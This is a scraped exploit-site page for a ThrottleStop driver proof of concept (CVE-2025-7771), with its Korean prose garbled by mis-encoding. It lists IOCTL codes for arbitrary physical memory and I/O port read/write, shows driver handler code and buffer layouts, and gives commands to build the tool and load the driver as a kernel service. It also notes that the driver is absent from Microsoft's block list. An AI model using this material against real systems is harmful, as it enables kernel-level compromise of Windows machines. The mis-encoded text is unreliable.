## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FXRSTOR-THROTTLESTOPPOC
# ThrottleStopPoC
**CVE-2025-7771** : ThrottleStop ๋๋ผ์ด๋ฒ๋ฅผ ํตํ ์์ ๋ฌผ๋ฆฌ ๋ฉ๋ชจ๋ฆฌ ๋ฐ I/O ํฌํธ ์ฝ๊ธฐ/์ฐ๊ธฐ
ThrottleStop์ CPU ์ค๋กํ๋ง์ ๋ชจ๋ํฐ๋งํ๊ณ ์์ ํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์์ ์ ์ ์ ํ๋ฆฌ์ผ์ด์
์
๋๋ค. ์ด ์์
์ ์ํํ๋ ๋๋ผ์ด๋ฒ๊ฐ ์์ผ๋ฉฐ, ๋๋ถ๋ถ ์
๋ ฅ ๊ฒ์ฆ์ด ์์ต๋๋ค.
## ์ทจ์ฝํ IOCTL
IOCTL| ์ทจ์ฝ์
---|---
0x80006498| ์์ ๋ฉ๋ชจ๋ฆฌ ์ฝ๊ธฐ
0x8000649C| ์์ ๋ฉ๋ชจ๋ฆฌ ์ฐ๊ธฐ
0x80006430| ์์ ํฌํธ ์ฝ๊ธฐ
0x80006434| ์์ ํฌํธ ์ฐ๊ธฐ
๋ํ ์์ MSR ์ฝ๊ธฐ ๋ฐ ์ฐ๊ธฐ๋ ์๋ ๊ฒ์ผ๋ก ๋ณด์ด์ง๋ง ์๋์ํค์ง ๋ชปํ์ต๋๋ค. ์ง์ ํ์ธํด ๋ณด์ธ์. MSR ์ฝ๊ธฐ๋ `0x80006448`์, ์ฐ๊ธฐ๋ `0x8000644C`์ ์์ต๋๋ค.
์๋ํ๊ฒ ๋์๋ค๋ฉด, ์ ์ฐจ๋ฅผ ์ค๋ช
ํ๋ ์ด์๋ฅผ ์ ์ถํด ์ฃผ์ธ์.
* * *
> ์๋์ ์ธ๊ธ๋ ๋ชจ๋ IOCTL ํธ์ถ์ Exploit.c ํ์ผ์ ๊ตฌํ๋์ด ์์ต๋๋ค.
* * *
### ์์ ๋ฉ๋ชจ๋ฆฌ ์ฝ๊ธฐ
`0x80006498` IOCTL์ ์ ๊ณต๋ ๋ชจ๋ ๋ฌผ๋ฆฌ ์ฃผ์๋ฅผ `MmMapIoSpace`๋ฅผ ์ฌ์ฉํ์ฌ ์ปค๋ ๊ณต๊ฐ์ ๋งคํํ๊ณ 1, 2, 4, 8๋ฐ์ดํธ๋ฅผ ์ฝ์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ฐ์ดํฐ๊ฐ ์ฌ์ฉ์ ๊ณต๊ฐ์ผ๋ก ๋ณต์ฌ๋ฉ๋๋ค.
์ด IOCTL์ ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด `DeviceIoControl`์ ํธ์ถํ๋ฉฐ ์
๋ ฅ์ผ๋ก ๋ฌผ๋ฆฌ ์ฃผ์๋ฅผ, ์ถ๋ ฅ ๋ฒํผ ํฌ๊ธฐ๋ฅผ ์ฝ๊ธฐ ํฌ๊ธฐ(1, 2, 4, 8)๋ก ์ค์ ํฉ๋๋ค.
๋๋ผ์ด๋ฒ์์ ์ด IOCTL์ ๊ฐ๋ตํ๋ ์ฝ๋:
root@kitploit:~
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
### ์์ ๋ฉ๋ชจ๋ฆฌ ์ฐ๊ธฐ
์ฝ๊ธฐ์ ์ ์ฌํ๊ฒ `0x8000649C` IOCTL์ ์ ๊ณต๋ ๋ฌผ๋ฆฌ ์ฃผ์๋ฅผ `MmMapIoSpace`๋ฅผ ์ฌ์ฉํ์ฌ ์ปค๋ ๊ณต๊ฐ์ ๋งคํํ๊ณ 1, 2, 4, 8๋ฐ์ดํธ๋ฅผ ์ฝ์ต๋๋ค.
์ด IOCTL์ ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ์
๋ ฅ ๋ฒํผ ๋ ์ด์์์ผ๋ก `DeviceIoControl`์ ํธ์ถํฉ๋๋ค.
root@kitploit:~
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
์
๋ ฅ ๋ฒํผ ํฌ๊ธฐ๋ ์ฐ๊ธฐ ํฌ๊ธฐ์ ๋ฐ๋ผ 8 + (1, 2, 4, 8)์ด ๋ฉ๋๋ค.
์ถ๋ ฅ ๋ฒํผ์ ์ถ๋ ฅ ๋ฒํผ ํฌ๊ธฐ๋ ์ฌ์ฉ๋์ง ์์ต๋๋ค.
๋๋ผ์ด๋ฒ์์ ์ด IOCTL์ ๊ฐ๋ตํ๋ ์ฝ๋:
root@kitploit:~
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
### ์์ ํฌํธ ์ฝ๊ธฐ
`0x80006430` IOCTL์ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ์๊ฐ IO ํฌํธ๋ฅผ ์ง์ ํ๊ณ `__inbyte`, `__inword` ๋๋ `__indword`๋ฅผ ์ฌ์ฉํ์ฌ ์ง์ ์ฝ์ ์ ์์ต๋๋ค.
์
๋ ฅ ๋ฒํผ๋ `USHORT`์ด๋ฉฐ ์
๋ ฅ ๋ฒํผ ํฌ๊ธฐ๋ `sizeof(USHORT)`์ฌ์ผ ํฉ๋๋ค.
์ถ๋ ฅ ๋ฒํผ๋ ๊ฒฐ๊ณผ๋ฅผ ์ ์ฅํ๋ฉฐ(์์ฒญ๋ ํฌ๊ธฐ์ ๋ฐ๋ผ 1, 2, 4๋ฐ์ดํธ) ์ถ๋ ฅ ํฌ๊ธฐ๋ 1, 2, 4๊ฐ ๋ ์ ์์ต๋๋ค.
๋๋ผ์ด๋ฒ์์ ์ด IOCTL์ ๊ฐ๋ตํ๋ ์ฝ๋:
root@kitploit:~
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
### ์์ ํฌํธ ์ฐ๊ธฐ
ํฌํธ ์ฝ๊ธฐ์ ์ ์ฌํ๊ฒ `0x80006434` IOCTL์ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ์๊ฐ IO ํฌํธ๋ฅผ ์ง์ ํ๊ณ `__outbyte`, `__outword` ๋๋ `__outdword`๋ฅผ ์ฌ์ฉํ์ฌ ์์์ ๊ฐ์ ์ธ ์ ์์ต๋๋ค. ์
๋ ฅ ๋ฒํผ ๋ ์ด์์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
root@kitploit:~
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
์
๋ ฅ ๋ฒํผ ํฌ๊ธฐ๋ sizeof(USHORT) + sizeof(Value) (+ ํจ๋ฉ)์ฌ์ผ ํฉ๋๋ค. ์ถ๋ ฅ ๋ฒํผ์ ๊ทธ ํฌ๊ธฐ๋ ์ฌ์ฉ๋์ง ์์ต๋๋ค.
๋๋ผ์ด๋ฒ์์ ์ด IOCTL์ ๊ฐ๋ตํ๋ ์ฝ๋:
root@kitploit:~
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
* * *
### ๊ฐ์ ์ฃผ์๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์๋ก ๋ณํ
์ด ๋ณํ์ ๋ฌธ์ํ๋์ง ์์ API๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ์ ์ฃผ์๋ฅผ ๋ฌผ๋ฆฌ ์ฃผ์๋ก ๋ณํํ๋ ํฉ๋ฒ์ ์ธ ์ปค๋ ๋ชจ๋์ธ Superfetch๋ฅผ ์
์ฉํ์ฌ ๊ฐ๋ฅํฉ๋๋ค. ์ด ์ฝ๋๋ vtop.c์ ๊ตฌํ๋์ด ์์ต๋๋ค.
## ๋น๋
์ด ํ๋ก์ ํธ๋ Meson์ ์ฌ์ฉํ์ฌ ์ปดํ์ผํ ์ ์์ต๋๋ค. System ํ๋ก์ธ์ค์ EPROCESS ๊ตฌ์กฐ์ฒด์ `UniqueProcessId` ํ๋๋ฅผ `PsInitialSystemProcess`๋ฅผ ์ฌ์ฉํ์ฌ ํด์ํ๊ณ `4`์ธ์ง ํ์ธํฉ๋๋ค(Main.c์ ๊ตฌํ๋จ). ํน์ PID์ EPROCESS๋ฅผ ์ฐพ๋ ํจ์๋ EProcess.c์ ๊ตฌํ๋์ด ์์ต๋๋ค. ๋ํ ์์คํ
์ ๊ฐ์ ๋ก ๋ค์ ์์ํ ์ง ์ฌ์ฉ์์๊ฒ ๋ฌป์ต๋๋ค. ์ด๋ ํฌํธ `0xCF9`์ `0x0E` ๊ฐ์ ์ฐ๋ ๋ฐฉ์์ผ๋ก ๊ฐ๋ฅํฉ๋๋ค.
> **๊ฒฝ๊ณ ** : ๋ชจ๋ ํ
์คํธ๋ **Windows 11 ๋น๋ 24H2** ์์ ์ํ๋์์ต๋๋ค. ์์คํ
์ EPROCESS ๊ตฌ์กฐ์ฒด ์คํ์
์ ๋ค๋ฅผ ์ ์์ต๋๋ค.
ํ๋ก์ ํธ ๋น๋:
root@kitploit:~
meson setup build
๋น๋ ๋๋ ํฐ๋ฆฌ๊ฐ ์์ฑ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๋ค์ ๋ช
๋ น์ผ๋ก ํ๋ก์ ํธ๋ฅผ ์ปดํ์ผํฉ๋๋ค.
root@kitploit:~
meson compile -C build
๋๋ผ์ด๋ฒ๋ ์ ์ฅ์์ `Drivers` ๋๋ ํฐ๋ฆฌ์์ ํ์ธํ ์ ์์ต๋๋ค. ThrottleStop ๋๋ผ์ด๋ฒ๋ Resource Hacker๋ฅผ ํตํด `ThrottleStop.exe` ํ๋ก๊ทธ๋จ์์ ์ง์ ์ถ์ถํ ์ ์์ต๋๋ค. x64 ๋ฐ x86์ ๋ ๊ฐ์ง ๋๋ผ์ด๋ฒ๊ฐ ์์ต๋๋ค. `DriverObject->MajorFunction[14]`๋ ๋ชจ๋ IOCTL์ด ๊ตฌํ๋ ๋์คํจ์น ํจ์๋ฅผ ๋ณด์ ํฉ๋๋ค.
๋ค์์ ์ฌ์ฉํ์ฌ ๋๋ผ์ด๋ฒ ์์ฑ ๋ฐ ์์:
root@kitploit:~
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
## ์ฐธ๊ณ ์๋ฃ
https://github.com/jonomango/superfetch
์ด ๋๋ผ์ด๋ฒ๋ ์์ง Microsoft ๋๋ผ์ด๋ฒ ์ฐจ๋จ ๋ชฉ๋ก์ด๋ loldrivers์ ์ถ๊ฐ๋์ง ์์์ต๋๋ค.